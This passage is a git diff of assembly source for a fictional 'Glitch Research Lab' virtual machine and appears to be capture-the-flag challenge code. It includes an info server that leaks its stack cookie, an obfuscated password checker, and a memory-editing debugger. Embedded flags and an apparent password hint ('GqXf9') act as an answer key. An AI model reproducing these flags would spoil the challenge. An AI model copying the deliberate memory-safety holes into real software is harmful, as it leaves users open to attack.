+ ret + +stack_smash_halt: + ld_r2 str_stack_smashing_detected + call PrintStr + copr_halt + +str_stack_smashing_detected: + .ascii "*** stack smashing detected *** " + text_ram_byte 0xfe00 + text_ram_byte 0xfe01 + text_ram_byte 0xfe02 + text_ram_byte 0xfe03 + .ascii " != " + text_ram_byte 0xf74f + text_ram_byte 0xf750 + text_ram_byte 0xf751 + text_ram_byte 0xf752 + .ascii " - halted\n\0" + +str_login: + .ascii "Welcome to Glitch Research Lab Information Server (GRLINFSRV)\n" + .ascii "Enter your name for our records (max 15 characters): \0" + +str_welcome: + .ascii "\n" + .ascii "-----\n" + .ascii "\n" + .ascii "Welcome, \0" + +str_welcome2: + .ascii "!\n" + .ascii "\n" + .ascii "Selection of topics:\n" + .ascii "(1) About the Glitch Research Laboratory\n" + .ascii "(2) About the GLVM test servers\n" + .ascii "(3) About the Fight Simulation Program\n" + .ascii "\n" + .ascii "Enter the number of the topic you wish to view, or 'q' to leave: \0" + +str_done: + .ascii "Thank you. Have a nice day!\n\0" + +mem_info_strings: + .2byte str_wrong_input + .2byte str_info_1 + .2byte str_info_2 + .2byte str_info_3 + +str_wrong_input: + .ascii "Please type 1, 2 or 3, dummy!\n\0" + +str_info_1: + .ascii "\n" + .ascii "-----\n" + .ascii "\n" + .ascii "Glitch Research Laboratory is the leading glitchology research\n" + .ascii "facility in all of Glitch Islands. We specialize in research of\n" + .ascii "various glitch phenomena existing in Glitch Islands and in all of\n" + .ascii "the surrounding areas.\n" + .ascii "\0" + +str_info_2: + .ascii "\n" + .ascii "-----\n" + .ascii "\n" + .ascii "GLVM is our innovative, new machine architecture, designed to bring\n" + .ascii "the ease of Z80 assembly programming to the modern world.\n" + .ascii "The simplified instruction set of the GLVM enhances productivity\n" + .ascii "of our employees and significantly speeds up development of software\n" + .ascii "required for our research.\n" + .ascii "Work on the GLVM architecture is still ongoing, and all implementation\n" + .ascii "details are strictly confidential, until further notice.\n" + .ascii "\0" + +str_info_3: + .ascii "\n" + .ascii "-----\n" + .ascii "\n" + .ascii "Fight Simulation Program is the current ongoing project of Glitch\n" + .ascii "Research Laboratory. It allows for examination of behavior of\n" + .ascii "malicious glitch actors, such as Missingno., without running the risk\n" + .ascii "of prolonged exposure to glitches or corruption.\n" + .ascii "Participants are able to fight against opponents in an isolated\n" + .ascii "environment, similar to typical turn-based strategy games.\n" + .ascii "The program is still in development, and as such, all details are\n" + .ascii "strictly confidential.\n" + .ascii "\0" + + .ascii "FOOLS2023_{DoesThisCountAsFormatString}\n\0" + +mem_username: + .ascii "________________" + +mem_stack_cookie: + .fill 4, 1, 0 + +mem_input: + .ascii "________" + + .fill 0x6a5, 1, 0 + +mem_stack_tail: + .fill 0x100, 1, 0 + +mem_stack: + .fill 0x100, 1, 0 diff --git a/prog/instr.inc b/prog/instr.inc new file mode 100644 index 0000000..e9fecd9 --- /dev/null +++ b/prog/instr.inc @@ -0,0 +1,1214 @@ +# in: R2=str +.set PrintStr, 0x0008 + +# in: R2=one R3=two +# re: R0=res +.set StrCmp, 0x0010 + +# in: R2=table R3=value +# re: R0=index (err=-1) +.set FindIndex, 0x0018 + +# in: R2=mem +# re: R0=res (err=-1) +.set ConvertHex, 0x0020 + +# in: R1=size R2=dst R3=src +.set MemCpy, 0x0028 + +# in: R2=mem R3=size +.set ReadStr, 0x0030 + +# in: R2=mem +.set StrTrim, 0x0038 + +# in: R0=val R1=size R2=mem +.set MemSet, 0x0040 + +# in: R0=char +.macro copr_putc + copr 0x01 +.endm + +# re: R0=char +.macro copr_getc + copr 0x02 +.endm + +.macro copr_halt + copr 0x03 +.endm + +# in: R0=blk R1=out +.macro copr_readblk + copr 0x04 +.endm + +# re: R0=val +.macro copr_random + copr 0x05 +.endm + +.macro brk + .byte 0x00 +.endm + +.macro mul_r0 n16 + .byte 0x01 + .2byte \n16 +.endm + +.macro mul_r0_r1 + .byte 0x02 +.endm + +.macro div_r0 n16 + .byte 0x03 + .2byte \n16 +.endm + +.macro div_r0_r1 + .byte 0x04 +.endm + +.macro ret + .byte 0x05 +.endm + +.macro copr func + .byte 0x06 + .byte \func +.endm + +.macro mix + .byte 0x07 +.endm + +.macro nop + .byte 0x08 +.endm + +.macro ld_sp n16 + .byte 0x09 + .2byte \n16 +.endm + +.macro ld_r0_sp + .byte 0x0a +.endm + +.macro ld_sp_r0 + .byte 0x0b +.endm + +.macro nop_0c + .byte 0x0c +.endm + +.macro illegal_0d + .byte 0x0d +.endm + +.macro shl_r0 + .byte 0x0e +.endm + +.macro shr_r0 + .byte 0x0f +.endm + +.macro ld_r0 n16 + .byte 0x10 + .2byte \n16 +.endm + +.macro ld_r1 n16 + .byte 0x11 + .2byte \n16 +.endm + +.macro ld_r2 n16 + .byte 0x12 + .2byte \n16 +.endm + +.macro ld_r3 n16 + .byte 0x13 + .2byte \n16 +.endm + +.macro illegal_14 + .byte 0x14 +.endm + +.macro illegal_15 + .byte 0x15 +.endm + +.macro illegal_16 + .byte 0x16 +.endm + +.macro illegal_17 + .byte 0x17 +.endm + +.macro illegal_18 + .byte 0x18 +.endm + +.macro illegal_19 + .byte 0x19 +.endm + +.macro illegal_1a + .byte 0x1a +.endm + +.macro illegal_1b + .byte 0x1b +.endm + +.macro illegal_1c + .byte 0x1c +.endm + +.macro illegal_1d + .byte 0x1d +.endm + +.macro illegal_1e + .byte 0x1e +.endm + +.macro illegal_1f + .byte 0x1f +.endm + +.macro ld_r0_r0 + .byte 0x20 +.endm + +.macro ld_r0_r1 + .byte 0x21 +.endm + +.macro ld_r0_r2 + .byte 0x22 +.endm + +.macro ld_r0_r3 + .byte 0x23 +.endm + +.macro ld_r1_r0 + .byte 0x24 +.endm + +.macro ld_r1_r1 + .byte 0x25 +.endm + +.macro ld_r1_r2 + .byte 0x26 +.endm + +.macro ld_r1_r3 + .byte 0x27 +.endm + +.macro ld_r2_r0 + .byte 0x28 +.endm + +.macro ld_r2_r1 + .byte 0x29 +.endm + +.macro ld_r2_r2 + .byte 0x2a +.endm + +.macro ld_r2_r3 + .byte 0x2b +.endm + +.macro ld_r3_r0 + .byte 0x2c +.endm + +.macro ld_r3_r1 + .byte 0x2d +.endm + +.macro ld_r3_r2 + .byte 0x2e +.endm + +.macro ld_r3_r3 + .byte 0x2f +.endm + +.macro add_r0_r0 + .byte 0x30 +.endm + +.macro add_r0_r1 + .byte 0x31 +.endm + +.macro add_r0_r2 + .byte 0x32 +.endm + +.macro add_r0_r3 + .byte 0x33 +.endm + +.macro add_r1_r0 + .byte 0x34 +.endm + +.macro add_r1_r1 + .byte 0x35 +.endm + +.macro add_r1_r2 + .byte 0x36 +.endm + +.macro add_r1_r3 + .byte 0x37 +.endm + +.macro add_r2_r0 + .byte 0x38 +.endm + +.macro add_r2_r1 + .byte 0x39 +.endm + +.macro add_r2_r2 + .byte 0x3a +.endm + +.macro add_r2_r3 + .byte 0x3b +.endm + +.macro add_r3_r0 + .byte 0x3c +.endm + +.macro add_r3_r1 + .byte 0x3d +.endm + +.macro add_r3_r2 + .byte 0x3e +.endm + +.macro add_r3_r3 + .byte 0x3f +.endm + +.macro ldrb_r0_r0 + .byte 0x40 +.endm + +.macro ldrb_r0_r1 + .byte 0x41 +.endm + +.macro ldrb_r0_r2 + .byte 0x42 +.endm + +.macro ldrb_r0_r3 + .byte 0x43 +.endm + +.macro ldrb_r1_r0 + .byte 0x44 +.endm + +.macro ldrb_r1_r1 + .byte 0x45 +.endm + +.macro ldrb_r1_r2 + .byte 0x46 +.endm + +.macro ldrb_r1_r3 + .byte 0x47 +.endm + +.macro ldrb_r2_r0 + .byte 0x48 +.endm + +.macro ldrb_r2_r1 + .byte 0x49 +.endm + +.macro ldrb_r2_r2 + .byte 0x4a +.endm + +.macro ldrb_r2_r3 + .byte 0x4b +.endm + +.macro ldrb_r3_r0 + .byte 0x4c +.endm + +.macro ldrb_r3_r1 + .byte 0x4d +.endm + +.macro ldrb_r3_r2 + .byte 0x4e +.endm + +.macro ldrb_r3_r3 + .byte 0x4f +.endm + +.macro ldr_r0_r0 + .byte 0x50 +.endm + +.macro ldr_r0_r1 + .byte 0x51 +.endm + +.macro ldr_r0_r2 + .byte 0x52 +.endm + +.macro ldr_r0_r3 + .byte 0x53 +.endm + +.macro ldr_r1_r0 + .byte 0x54 +.endm + +.macro ldr_r1_r1 + .byte 0x55 +.endm + +.macro ldr_r1_r2 + .byte 0x56 +.endm + +.macro ldr_r1_r3 + .byte 0x57 +.endm + +.macro ldr_r2_r0 + .byte 0x58 +.endm + +.macro ldr_r2_r1 + .byte 0x59 +.endm + +.macro ldr_r2_r2 + .byte 0x5a +.endm + +.macro ldr_r2_r3 + .byte 0x5b +.endm + +.macro ldr_r3_r0 + .byte 0x5c +.endm + +.macro ldr_r3_r1 + .byte 0x5d +.endm + +.macro ldr_r3_r2 + .byte 0x5e +.endm + +.macro ldr_r3_r3 + .byte 0x5f +.endm + +.macro strb_r0_r0 + .byte 0x60 +.endm + +.macro strb_r1_r0 + .byte 0x61 +.endm + +.macro strb_r2_r0 + .byte 0x62 +.endm + +.macro strb_r3_r0 + .byte 0x63 +.endm + +.macro strb_r0_r1 + .byte 0x64 +.endm + +.macro strb_r1_r1 + .byte 0x65 +.endm + +.macro strb_r2_r1 + .byte 0x66 +.endm + +.macro strb_r3_r1 + .byte 0x67 +.endm + +.macro strb_r0_r2 + .byte 0x68 +.endm + +.macro strb_r1_r2 + .byte 0x69 +.endm + +.macro strb_r2_r2 + .byte 0x6a +.endm + +.macro strb_r3_r2 + .byte 0x6b +.endm + +.macro strb_r0_r3 + .byte 0x6c +.endm + +.macro strb_r1_r3 + .byte 0x6d +.endm + +.macro strb_r2_r3 + .byte 0x6e +.endm + +.macro strb_r3_r3 + .byte 0x6f +.endm + +.macro str_r0_r0 + .byte 0x70 +.endm + +.macro str_r1_r0 + .byte 0x71 +.endm + +.macro str_r2_r0 + .byte 0x72 +.endm + +.macro str_r3_r0 + .byte 0x73 +.endm + +.macro str_r0_r1 + .byte 0x74 +.endm + +.macro str_r1_r1 + .byte 0x75 +.endm + +.macro str_r2_r1 + .byte 0x76 +.endm + +.macro str_r3_r1 + .byte 0x77 +.endm + +.macro str_r0_r2 + .byte 0x78 +.endm + +.macro str_r1_r2 + .byte 0x79 +.endm + +.macro str_r2_r2 + .byte 0x7a +.endm + +.macro str_r3_r2 + .byte 0x7b +.endm + +.macro str_r0_r3 + .byte 0x7c +.endm + +.macro str_r1_r3 + .byte 0x7d +.endm + +.macro str_r2_r3 + .byte 0x7e +.endm + +.macro str_r3_r3 + .byte 0x7f +.endm + +.macro cp_r0_r0 + .byte 0x80 +.endm + +.macro cp_r0_r1 + .byte 0x81 +.endm + +.macro cp_r0_r2 + .byte 0x82 +.endm + +.macro cp_r0_r3 + .byte 0x83 +.endm + +.macro cp_r1_r0 + .byte 0x84 +.endm + +.macro cp_r1_r1 + .byte 0x85 +.endm + +.macro cp_r1_r2 + .byte 0x86 +.endm + +.macro cp_r1_r3 + .byte 0x87 +.endm + +.macro cp_r2_r0 + .byte 0x88 +.endm + +.macro cp_r2_r1 + .byte 0x89 +.endm + +.macro cp_r2_r2 + .byte 0x8a +.endm + +.macro cp_r2_r3 + .byte 0x8b +.endm + +.macro cp_r3_r0 + .byte 0x8c +.endm + +.macro cp_r3_r1 + .byte 0x8d +.endm + +.macro cp_r3_r2 + .byte 0x8e +.endm + +.macro cp_r3_r3 + .byte 0x8f +.endm + +.macro push_r0 + .byte 0x90 +.endm + +.macro push_r1 + .byte 0x91 +.endm + +.macro push_r2 + .byte 0x92 +.endm + +.macro push_r3 + .byte 0x93 +.endm + +.macro pop_r0 + .byte 0x94 +.endm + +.macro pop_r1 + .byte 0x95 +.endm + +.macro pop_r2 + .byte 0x96 +.endm + +.macro pop_r3 + .byte 0x97 +.endm + +.macro jp addr + .byte 0x98 + .2byte \addr +.endm + +.macro call addr + .byte 0x99 + .2byte \addr +.endm + +.macro jp_hi addr + .byte 0x9a + .2byte \addr +.endm + +.macro jp_lo addr + .byte 0x9b + .2byte \addr +.endm + +.macro jp_eq addr + .byte 0x9c + .2byte \addr +.endm + +.macro jp_ne addr + .byte 0x9d + .2byte \addr +.endm + +.macro call_hi addr + .byte 0x9e + .2byte \addr +.endm + +.macro call_lo addr + .byte 0x9f + .2byte \addr +.endm + +.macro call_eq addr + .byte 0xa0 + .2byte \addr +.endm + +.macro call_ne addr + .byte 0xa1 + .2byte \addr +.endm + +.macro cp_r0 n16 + .byte 0xa2 + .2byte \n16 +.endm + +.macro cp_r1 n16 + .byte 0xa3 + .2byte \n16 +.endm + +.macro cp_r2 n16 + .byte 0xa4 + .2byte \n16 +.endm + +.macro cp_r3 n16 + .byte 0xa5 + .2byte \n16 +.endm + +.macro push_sp + .byte 0xa6 +.endm + +.macro push_pc + .byte 0xa7 +.endm + +.macro inc_r0 + .byte 0xa8 +.endm + +.macro inc_r1 + .byte 0xa9 +.endm + +.macro inc_r2 + .byte 0xaa +.endm + +.macro inc_r3 + .byte 0xab +.endm + +.macro dec_r0 + .byte 0xac +.endm + +.macro dec_r1 + .byte 0xad +.endm + +.macro dec_r2 + .byte 0xae +.endm + +.macro dec_r3 + .byte 0xaf +.endm + +.macro ldrb_r0 n16 + .byte 0xb0 + .2byte \n16 +.endm + +.macro ldrb_r1 n16 + .byte 0xb1 + .2byte \n16 +.endm + +.macro ldrb_r2 n16 + .byte 0xb2 + .2byte \n16 +.endm + +.macro ldrb_r3 n16 + .byte 0xb3 + .2byte \n16 +.endm + +.macro ldr_r0 n16 + .byte 0xb4 + .2byte \n16 +.endm + +.macro ldr_r1 n16 + .byte 0xb5 + .2byte \n16 +.endm + +.macro ldr_r2 n16 + .byte 0xb6 + .2byte \n16 +.endm + +.macro ldr_r3 n16 + .byte 0xb7 + .2byte \n16 +.endm + +.macro strb_r0 n16 + .byte 0xb8 + .2byte \n16 +.endm + +.macro strb_r1 n16 + .byte 0xb9 + .2byte \n16 +.endm + +.macro strb_r2 n16 + .byte 0xba + .2byte \n16 +.endm + +.macro strb_r3 n16 + .byte 0xbb + .2byte \n16 +.endm + +.macro str_r0 n16 + .byte 0xbc + .2byte \n16 +.endm + +.macro str_r1 n16 + .byte 0xbd + .2byte \n16 +.endm + +.macro str_r2 n16 + .byte 0xbe + .2byte \n16 +.endm + +.macro str_r3 n16 + .byte 0xbf + .2byte \n16 +.endm + +.macro illegal_c0 + .byte 0xc0 +.endm + +.macro illegal_c1 + .byte 0xc1 +.endm + +.macro illegal_c2 + .byte 0xc2 +.endm + +.macro illegal_c3 + .byte 0xc3 +.endm + +.macro illegal_c4 + .byte 0xc4 +.endm + +.macro jp_r0 + .byte 0xc5 +.endm + +.macro jp_r1 + .byte 0xc6 +.endm + +.macro jp_r2 + .byte 0xc7 +.endm + +.macro jp_r3 + .byte 0xc8 +.endm + +.macro call_r0 + .byte 0xc9 +.endm + +.macro call_r1 + .byte 0xca +.endm + +.macro call_r2 + .byte 0xcb +.endm + +.macro call_r3 + .byte 0xcc +.endm + +.macro and_r0 n16 + .byte 0xcd + .2byte \n16 +.endm + +.macro or_r0 n16 + .byte 0xce + .2byte \n16 +.endm + +.macro xor_r0 n16 + .byte 0xcf + .2byte \n16 +.endm + +.macro and_r0_r0 + .byte 0xd0 +.endm + +.macro and_r0_r1 + .byte 0xd1 +.endm + +.macro and_r0_r2 + .byte 0xd2 +.endm + +.macro and_r0_r3 + .byte 0xd3 +.endm + +.macro or_r0_r0 + .byte 0xd4 +.endm + +.macro or_r0_r1 + .byte 0xd5 +.endm + +.macro or_r0_r2 + .byte 0xd6 +.endm + +.macro or_r0_r3 + .byte 0xd7 +.endm + +.macro xor_r0_r0 + .byte 0xd8 +.endm + +.macro xor_r0_r1 + .byte 0xd9 +.endm + +.macro xor_r0_r2 + .byte 0xda +.endm + +.macro xor_r0_r3 + .byte 0xdb +.endm + +.macro swap_r0 + .byte 0xdc +.endm + +.macro swap_r1 + .byte 0xdd +.endm + +.macro swap_r2 + .byte 0xde +.endm + +.macro swap_r3 + .byte 0xdf +.endm + +.macro add_r0 n16 + .byte 0xe0 + .2byte \n16 +.endm + +.macro add_r1 n16 + .byte 0xe1 + .2byte \n16 +.endm + +.macro add_r2 n16 + .byte 0xe2 + .2byte \n16 +.endm + +.macro add_r3 n16 + .byte 0xe3 + .2byte \n16 +.endm + +.macro illegal_e4 + .byte 0xe4 +.endm + +.macro illegal_e5 + .byte 0xe5 +.endm + +.macro illegal_e6 + .byte 0xe6 +.endm + +.macro illegal_e7 + .byte 0xe7 +.endm + +.macro illegal_e8 + .byte 0xe8 +.endm + +.macro illegal_e9 + .byte 0xe9 +.endm + +.macro illegal_ea + .byte 0xea +.endm + +.macro illegal_eb + .byte 0xeb +.endm + +.macro illegal_ec + .byte 0xec +.endm + +.macro illegal_ed + .byte 0xed +.endm + +.macro illegal_ee + .byte 0xee +.endm + +.macro illegal_ef + .byte 0xef +.endm + +.macro illegal_f0 + .byte 0xf0 +.endm + +.macro illegal_f1 + .byte 0xf1 +.endm + +.macro illegal_f2 + .byte 0xf2 +.endm + +.macro illegal_f3 + .byte 0xf3 +.endm + +.macro illegal_f4 + .byte 0xf4 +.endm + +.macro illegal_f5 + .byte 0xf5 +.endm + +.macro illegal_f6 + .byte 0xf6 +.endm + +.macro illegal_f7 + .byte 0xf7 +.endm + +.macro illegal_f8 + .byte 0xf8 +.endm + +.macro illegal_f9 + .byte 0xf9 +.endm + +.macro illegal_fa + .byte 0xfa +.endm + +.macro illegal_fb + .byte 0xfb +.endm + +.macro illegal_fc + .byte 0xfc +.endm + +.macro illegal_fd + .byte 0xfd +.endm + +.macro illegal_fe + .byte 0xfe +.endm + +.macro illegal_ff + .byte 0xff +.endm + +.macro text_ram_word n16 + .byte 0xf0 + .2byte \n16 +.endm + +.macro text_ram_byte n16 + .byte 0xf1 + .2byte \n16 +.endm + +.macro mix1_cp_r0_r1 + .byte 0x1a +.endm +.macro mix1_jp_ne n16 + .byte 0x65 + .2byte \n16 +.endm +.macro mix1_switch2 n8 + .byte 0x78 +.endm +.macro mix1_ld_r1 n16 + .byte 0xa7 + .2byte \n16 +.endm +.macro mix1_inc_r3 + .byte 0xdf +.endm +.macro mix1_ldr_r0_r1 + .byte 0xf0 +.endm +.macro mix1_inc_r1 + .byte 0xfc +.endm + +.macro mix2_end + .byte 0x00 +.endm +.macro mix2_ldr_r0 n16 + .byte 0x37 + .2byte \n16 +.endm +.macro mix2_inc_r3 + .byte 0x49 +.endm +.macro mix2_cp_r0 n16 + .byte 0x5f + .2byte \n16 +.endm +.macro mix2_switch3 + .byte 0x95 +.endm +.macro mix2_jp_ne n16 + .byte 0xdd + .2byte \n16 +.endm +.macro mix2_xor_r0 n16 + .byte 0xfc + .2byte \n16 +.endm + +.macro mix3_ldrb_r0_r1 + .byte 0x2a +.endm +.macro mix3_jp_ne n16 + .byte 0x3b + .2byte \n16 +.endm +.macro mix3_ld_r0 n16 + .byte 0x4d + .2byte \n16 +.endm +.macro mix3_cp_r0 n16 + .byte 0x5b + .2byte \n16 +.endm +.macro mix3_end + .byte 0x5c +.endm +.macro mix3_dec_r0 + .byte 0x64 +.endm +.macro mix3_dec_r1 + .byte 0x67 +.endm +.macro mix3_inc_r3 + .byte 0x8a +.endm +.macro mix3_ld_r1 n16 + .byte 0x8b + .2byte \n16 +.endm +.macro mix3_add_r0_r0 + .byte 0xf2 +.endm diff --git a/prog/mathtest.asm b/prog/mathtest.asm new file mode 100644 index 0000000..cc0567b --- /dev/null +++ b/prog/mathtest.asm @@ -0,0 +1,80 @@ +.include "instr.inc" +.text + +.global _start +_start: + # Check if the program is running from the right address + push_pc + pop_r3 + cp_r3 _start + jp_eq main + ld_r2_r3 + add_r2 (str_wrong_address - _start) + jp PrintStr + +main: + ld_r2 str_intro + call PrintStr + + # Ask for input, continue if user confirms + ld_r2 mem_input + ld_r3 7 + call ReadStr + + ldr_r0 mem_input + cp_r0 'Y' + jp_eq check + cp_r0 'y' + jp_eq check + cp_r0 ('Y' + '\n' * 0x100) + jp_eq check + cp_r0 ('y' + '\n' * 0x100) + jp_eq check + + # The user hasn't confirmed + ld_r2 str_aborted + call PrintStr + ret + +check: + copr 0x66 +loop: + copr 0x64 + call 0x3009 + copr 0x65 + cp_r0 2 + jp_eq fail + cp_r0 1 + jp_eq loop + ret + +fail: + ld_r2 str_unsuccessful + call PrintStr + ret + +str_intro: + .ascii "Glitch Research Laboratory Math Coprocessor\n" + .ascii "Testing Software: Function SQRT\n" + .ascii "\n" + .ascii "This program will test the SQRT function of the math module.\n" + .ascii "This function, executable with CALL 0x3009, should compute the\n" + .ascii "integer part of sqrt(R0) and return it in R0 (preserving R1-R3).\n" + .ascii "\n" + .ascii "Math module results will be compared with the coprocessor.\n" + .ascii "Note - if math module is not loaded, this test might crash the machine!\n" + .ascii "Report any bugs to administrator: ax.arwen@glitchlabsresearch.internal\n" + .ascii "\n" + .ascii "Continue with running the test (Y/N): \0" + +str_aborted: + .ascii "Aborted.\n\0" + +str_unsuccessful: + .ascii "Test was unsuccessful.\n\0" + +str_wrong_address: + .ascii "Please load this program at address $2000.\n\0" + +mem_input: + .ascii "________\0" diff --git a/prog/mixtest.asm b/prog/mixtest.asm new file mode 100644 index 0000000..670e6e1 --- /dev/null +++ b/prog/mixtest.asm @@ -0,0 +1,108 @@ +.include "instr.inc" +.text + +.global _start +_start: + push_pc + pop_r3 + + cp_r3 _start + jp_eq main + ld_r2_r3 + add_r2 (str_wrong_address - _start) + jp PrintStr + +main: + # Gather the password + ld_r2 str_prompt_password + call PrintStr + ld_r2 mem_password + ld_r3 0x10 + call ReadStr + ld_r2 mem_password + call StrTrim + ld_r2 str_validating + call PrintStr + + # Fuck you + # Fuck you + # Fuck you + ld_r3 0 # Fuck you + mix # Fuck you + mix1_ld_r1 mem_password # Fuck you + mix1_inc_r1 # Fuck you + mix1_ldr_r0_r1 # Fuck you + mix1_ld_r1 0x5871 # Fuck you + mix1_cp_r0_r1 # Fuck you + mix1_jp_ne mix1_skip_inc # Fuck you + mix1_inc_r3 # Fuck you +mix1_skip_inc: # Fuck you + # Fuck you + mix1_switch2 # Fuck you + mix2_ldr_r0 mem_password + 3 # Fuck you + mix2_xor_r0 0x54c2 # Fuck you + mix2_cp_r0 0x6da4 # Fuck you + mix2_jp_ne mix2_skip_inc # Fuck you + mix2_inc_r3 # Fuck you +mix2_skip_inc: # Fuck you + # Fuck you + mix2_switch3 # Fuck you + mix3_ld_r1 mem_password + 1 # Fuck you + mix3_dec_r1 # Fuck you + mix3_ldrb_r0_r1 # Fuck you + mix3_add_r0_r0 # Fuck you + mix3_add_r0_r0 # Fuck you + mix3_cp_r0 0x011c # Fuck you + mix3_jp_ne mix3_skip_inc # Fuck you + mix3_inc_r3 # Fuck you +mix3_skip_inc: # Fuck you + # Fuck you + mix3_ld_r0 -1 # Fuck you +mix_delay: # Fuck you + mix3_dec_r0 # Fuck you + mix3_cp_r0 0x0201 # Fuck you + mix3_jp_ne mix_delay # Fuck you + mix3_end # Fuck you + # Fuck you + # Fuck you + # Fuck you + + ldrb_r0 mem_password + 5 + cp_r0 0 + jp_ne main_check + inc_r3 +main_check: + + cp_r3 4 + jp_eq main_correct + ld_r2 str_incorrect + call PrintStr + ret + +main_correct: + ld_r2 str_correct + call PrintStr + ret + +str_prompt_password: + .ascii "MIX/UNMIX opcodes - proof of concept\n" + .ascii "Enter a password: \0" + +str_aborted: + .ascii "Aborted.\n\0" + +str_incorrect: + .ascii "Nope, it's wrong.\n\0" + +str_validating: + .ascii "Validating...\n\0" + +str_correct: + .ascii "Yes, it's correct! FOOLS2023_{*insert correct pass here*}\n\0" + +str_wrong_address: + .ascii "Please load this program at address $2000.\n\0" + +# GqXf9 +mem_password: + .ascii "________________________\0" diff --git a/prog/monitor.asm b/prog/monitor.asm new file mode 100644 index 0000000..745e356 --- /dev/null +++ b/prog/monitor.asm @@ -0,0 +1,680 @@ +.include "instr.inc" +.text + +mem_e000: + .2byte 0 + +mem_e002: + .fill 0x0efe + +mem_ef00: + .fill 0xb0 + +mem_efb0: + .fill 0x30 + +mem_efe0: + .fill 0x20 + +.global _start +_start: + ld_sp stack + + # Set up the entrypoint for the breakpoint instruction + ld_r0 entry + ld_r1 0x98 # 'call' + strb_r1_r0 + inc_r0 + ld_r1 main + str_r1_r0 + + # Explain the debugger + ld_r2 str_intro + call PrintStr + + # Execute the breakpoint, jump to main + brk + + # If breakpoint returns here, we've ran out of stack + ld_r2 str_dry_stack + call PrintStr + copr_halt +die: + jp die + +main: + # Save all the registers + push_sp + str_r0 mem_save_r0 + str_r1 mem_save_r1 + str_r2 mem_save_r2 + str_r3 mem_save_r3 + + # Store the stack pointer + pop_r0 + str_r0 mem_info_sp + + # Read the return address + ld_r0_sp + ldr_r0_r0 + add_r0 -1 + str_r0 mem_info_pc + + # Read some more stack values + ld_r1 (6 * 2) + ld_r2 mem_info_stack + ldr_r3 mem_info_sp + call MemCpy + + # Print the processor state + ld_r2 str_breakpoint + call PrintStr + +main_cmd_loop: + ld_r0 0 + strb_r0 mem_e002 + + ld_r2 str_ready + call PrintStr + + # Read input + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + cp_r3 0 + jp_eq error_too_long + ld_r2 mem_e000 + call StrTrim + + # Make sure the input is at most 2 characters + ldrb_r0 mem_e002 + cp_r0 0 + jp_ne error_bad_command + + # Parse all the commands + ldr_r0 mem_e000 + + cp_r0 ('h' + '\n' * 0x100) + jp_eq cmd_help + cp_r0 'h' + jp_eq cmd_help + + cp_r0 'r' + jp_eq cmd_read + cp_r0 ('r' + '\n' * 0x100) + jp_eq cmd_read + + cp_r0 'p' + jp_eq cmd_print + cp_r0 ('p' + '\n' * 0x100) + jp_eq cmd_print + + cp_r0 'x' + jp_eq cmd_exec + cp_r0 ('x' + '\n' * 0x100) + jp_eq cmd_exec + + cp_r0 'c' + jp_eq cmd_cont + cp_r0 ('c' + '\n' * 0x100) + jp_eq cmd_cont + + cp_r0 ('U' + 'C' * 0x100) + jp_eq cmd_undoc + + cp_r0 ('l' + 's' * 0x100) + jp_eq cmd_list + + cp_r0 ('r' + 'f' * 0x100) + jp_eq cmd_readfile + + cp_r0 'w' + jp_eq cmd_write + cp_r0 ('w' + '\n' * 0x100) + jp_eq cmd_write + +error_bad_command: + ld_r2 str_error_bad_command + call PrintStr + jp main_cmd_loop + +error_too_long: + ld_r2 str_error_too_long + call PrintStr + jp main_cmd_loop + +cmd_help: + ld_r2 str_help + call PrintStr + jp main_cmd_loop + +cmd_read: + # Get the address to read + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + cp_r0 -1 + jp_eq cmd_read_invalid + push_r0 + + # Get the amount of lines to read + ld_r2 str_prompt_lines + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + cp_r0 -1 + jp_eq cmd_read_invalid + cp_r0 0 + jp_eq cmd_read_invalid + + # r2 = address, r3 = lines + ld_r3_r0 + pop_r2 + +cmd_read_loop: + # Read 8 bytes + push_r2 + push_r3 + ld_r1 8 + ld_r3_r2 + ld_r2 mem_data + call MemCpy + pop_r3 + pop_r2 + + # Store the current read address + str_r2 mem_addr + + # Write it out + push_r2 + push_r3 + ld_r2 str_hexdump + call PrintStr + pop_r3 + pop_r2 + + # Check if we're done + add_r2 8 + dec_r3 + cp_r3 0 + jp_ne cmd_read_loop + jp main_cmd_loop + +cmd_read_invalid: + ld_r2 str_error_invalid_input + call PrintStr + jp main_cmd_loop + +cmd_write: + # Get the address to write + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + cp_r0 -1 + jp_eq cmd_write_invalid + str_r0 mem_addr + + ld_r2 str_prompt_hex + call PrintStr + +cmd_write_loop: + # Clear the buffer + ld_r3 mem_e000 + 2 + ld_r0 0 + strb_r0_r3 + dec_r3 + strb_r0_r3 + dec_r3 + +cmd_write_loop_first: + # Get the first nybble + copr_getc + strb_r0_r3 + ld_r2_r3 + + # Check if it's the end or invalid + cp_r0 '.' + jp_eq cmd_write_end + cp_r0 '\n' + jp_eq cmd_write_loop_first + + # Try to convert the nybble + push_r3 + call ConvertHex + pop_r3 + cp_r0 -1 + jp_eq cmd_write_loop_first + + inc_r3 + +cmd_write_loop_second: + # Get the second nybble + copr_getc + strb_r0_r3 + ld_r2_r3 + + # Check if it's the end or invalid + cp_r0 '.' + jp_eq cmd_write_end + cp_r0 '\n' + jp_eq cmd_write_loop_second + + # Try to convert the nybble + push_r3 + call ConvertHex + pop_r3 + cp_r0 -1 + jp_eq cmd_write_loop_second + + # Convert and store the full byte + dec_r3 + ld_r2_r3 + call ConvertHex + ldr_r1 mem_addr + strb_r0_r1 + inc_r1 + str_r1 mem_addr + jp cmd_write_loop # 0xf1d0 + +cmd_write_end: + # Read until newline + copr_getc + cp_r0 '\n' + jp_ne cmd_write_end + + ld_r2 str_loaded + call PrintStr + jp main_cmd_loop + +cmd_write_invalid: + ld_r2 str_error_invalid_input + call PrintStr + jp main_cmd_loop + +cmd_print: + # Get the string to print + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + + ld_r2_r0 + call PrintStr + jp main_cmd_loop + +cmd_exec: + # Get the address to execute + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + + # Prompt the user to execute the address + push_r0 + str_r0 mem_addr + ld_r2 str_prompt_exec + 